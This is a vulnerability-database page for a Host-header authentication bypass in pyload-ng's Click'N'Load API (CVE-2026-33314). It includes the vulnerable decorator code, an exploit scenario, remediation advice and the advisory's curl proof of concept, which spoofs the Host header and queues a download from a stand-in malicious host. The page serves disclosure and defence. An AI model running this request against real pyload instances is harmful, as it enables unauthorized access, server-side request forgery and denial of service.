Skip to main content

Python CVE-2026-33314

MEDIUM
Improper Authentication (CWE-287)
2026-03-19 https://github.com/pyload/pyload GHSA-q485-cg9q-xq2r
6.5
CVSS 3.1 · GitHub Advisory
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A07:2025 - Authentication Failures
ASVS 5.0
V6 - Authentication Authentication mechanism validation
MITRE ATT&CK

2 techniques across 2 tactics: Defense Evasion, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

The CVSS v3.1 score of 6.5 (Medium) with vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L reflects a network-accessible attack with low complexity requiring no privileges or user interaction, resulting in limited integrity impact and availability impact. Cross-referencing with real-world exploitation signals: (1) A working proof-of-concept exists in the public advisory, demonstrating immediate technical feasibility; (2) The attack requires only basic HTTP manipulation (Host header spoofing), making automation trivial; (3) The technical impact is rated as 'Limited' by CVSS, but the ability to perform SSRF and DoS via arbitrary URL queueing could have significant downstream impact on internal networks or cloud infrastructure if the pyload instance has egress access; (4) The vulnerability is in an optional plugin (Click'N'Load) that defaults to disabled, which may reduce real-world exposure. The exploitation complexity is negligible, the attack vector is fully remote, and no authentication is required, making this a genuine priority for organizations running pyload-ng with the Click'N'Load plugin enabled. The CVSS Integrity and Availability impacts are understated—SSRF can leak sensitive data and DoS can render services unavailable—suggesting this warrants treating as High priority in threat modeling.

Exploit ScenarioDerived

An attacker on the public internet identifies a pyload-ng instance running on a publicly routable IP address with the Click'N'Load plugin enabled. The attacker crafts a POST request to http://<target-ip>:9666/flash/add with the Host header set to '127.0.0.1:9666' and a URL parameter pointing to a large file hosted on attacker infrastructure or an internal system (e.g., http://internal-database.local/dump). The spoofed Host header bypasses the @local_check decorator, and the request is processed successfully, adding the malicious URL to the download queue. If the pyload instance has internet access, it immediately begins downloading the specified URL (SSRF), potentially exfiltrating internal data or causing DoS by consuming bandwidth and disk space. The attack requires no authentication, no user interaction, and can be automated at scale against multiple targets.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 19, 2026

A Host Header Spoofing vulnerability in the @local_check decorator of pyload-ng allows unauthenticated external attackers to bypass local-only IP address restrictions on the Click'N'Load API endpoints by sending a crafted HTTP Host header. This authentication bypass enables remote attackers to queue arbitrary downloads on the affected pyload instance, leading to Server-Side Request Forgery (SSRF) attacks against internal or external systems and Denial of Service through resource exhaustion. A proof-of-concept exploit exists in the form of a simple curl command that demonstrates immediate exploitability without user interaction.

RemediationAI

Upgrade pyload-ng to a patched version (check https://github.com/pyload/pyload/security/advisories/GHSA-q485-cg9q-xq2r for the specific fixed version). The primary remediation is to fix the @local_check decorator to rely exclusively on REMOTE_ADDR (the network-layer source IP) and completely remove the HTTP_HOST-based check, since HTTP headers are user-controlled and not a reliable source of trust. Until patching is possible, implement network-level mitigations: (1) Disable the Click'N'Load plugin if not actively used; (2) Restrict network access to the pyload web interface (port 9666 by default) to trusted IP ranges using a firewall or reverse proxy; (3) Deploy pyload-ng behind a reverse proxy (nginx, Apache) configured to filter requests with Host headers that do not match the legitimate domain, or strip the Host header and replace it with a safe value. Do not rely on application-level Host header validation as a security boundary.

Affected Packages

pypi pyload-ng fix: 0.5.0b3.dev97

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability exists in the pyload-ng package (pkg:pip/pyload-ng), specifically in the src/pyload/webui/app/blueprints/cnl_blueprint.py file. The @local_check decorator is implemented to restrict access to Click'N'Load API routes to localhost-only connections by examining the REMOTE_ADDR environment variable. However, the flawed implementation also checks the HTTP_HOST header derived directly from the user-supplied HTTP Host header without proper validation. The vulnerable code path evaluates http_host against a hardcoded tuple of allowed values ('127.0.0.1:9666', '[::1]:9666'), but since HTTP headers are client-controlled, an attacker can trivially spoof the Host header to match these values. This represents a violation of CWE-287 (Improper Authentication), as the decorator fails to reliably authenticate the request origin by trusting client-supplied header data over network-level identity. The Click'N'Load plugin, which implements a browser extension protocol for managing downloads, is designed as a local-only API but becomes exposed globally when this check fails.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 6.5 MEDIUM
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
Low

Lifecycle Timeline

2
Patch released
Mar 31, 2026 - 21:13 nvd
Patch available
CVE Published
Mar 19, 2026 - 17:55 nvd
MEDIUM 6.5

DescriptionGitHub Advisory

Summary

A Host Header Spoofing vulnerability in the @local_check decorator allows unauthenticated external attackers to bypass local-only restrictions. This grants access to the Click'N'Load API endpoints, enabling attackers to remotely queue arbitrary downloads, leading to Server-Side Request Forgery (SSRF) and Denial of Service (DoS).

Details

The pyload WebUI provides an API for the Click'N'Load plugin, which is intended to be accessed only from the local machine (e.g., via a browser extension sending requests to localhost:9666). To enforce this, the pyload application uses a @local_check decorator on the relevant routes in src/pyload/webui/app/blueprints/cnl_blueprint.py.

However, the @local_check implementation relies on the user-controlled HTTP_HOST (derived from the HTTP Host header) to verify the origin:

python
# src/pyload/webui/app/blueprints/cnl_blueprint.py
def local_check(func):
    @wraps(func)
    def wrapper(*args, **kwargs):
        remote_addr = flask.request.environ.get("REMOTE_ADDR", "0")
        http_host = flask.request.environ.get("HTTP_HOST", "0")

        if remote_addr in ("127.0.0.1", "::ffff:127.0.0.1", "::1", "localhost") or http_host in (
                "127.0.0.1:9666",
                "[::1]:9666",
        ):
            return func(*args, **kwargs)
        else:
            return "Forbidden", 403
    return wrapper

Because http_host is read directly from the Host header of the HTTP request, an external attacker can easily spoof this header (e.g., Host: 127.0.0.1:9666). When this spoofed header is present, the condition http_host in ("127.0.0.1:9666", ...) evaluates to True, completely bypassing the IP address check (remote_addr) and granting access to the protected functions.

The affected routes are:

  • /flash/ and /flash/<id>
  • /flash/add
  • /flash/addcrypted
  • /flash/addcrypted2
  • /flashgot and /flashgot_pyload
  • /flash/checkSupportForUrl

PoC

  1. Ensure the PyLoad instance is running and accessible externally.
  2. Ensure the ClickNLoad plugin is enabled in the PyLoad settings (it evaluates to disabled by default).
  3. Send a POST request to one of the protected endpoints, such as /flash/add, and spoof the Host header to 127.0.0.1:9666.

Example curl command:

bash
curl -i -X POST "http://<pyload-external-ip>:<port>/flash/add" \
     -H "Host: 127.0.0.1:9666" \
     -d "urls=http://malicious.com/payload.bin" \
     -d "package=MaliciousPackage"
  1. Notice that you receive a success\r\n response instead of a 403 Forbidden. The package and URL will be successfully added to the PyLoad queue.

Impact

This vulnerability allows unauthenticated attackers to interact with the Click'N'Load API. Attackers can arbitrarily add URLs to the download queue, which forces the PyLoad server to make outbound requests to attacker-controlled or internal URLs (SSRF). Attackers can also exhaust the server's storage or bandwidth by queueing massive files (DoS).

Executive ViewAI

Why It Matters

CVE-2026-33314 presents notable security risk, a improper authentication vulnerability rated CVSS 6.5. This could allow unauthorized access to protected resources. Organizations should apply vendor updates when available and monitor for exploitation.

Business Impact: Moderate
Compensating Controls

Apply vendor patch. If patching is delayed: restrict network access, enable MFA, monitor auth logs.

Threat Intelligence Overview

EPSS Score
0.0%
Top 100% exploitable
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

Affected Products (CPE)GitHub Advisory

pkg:pip/pyload-ng

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy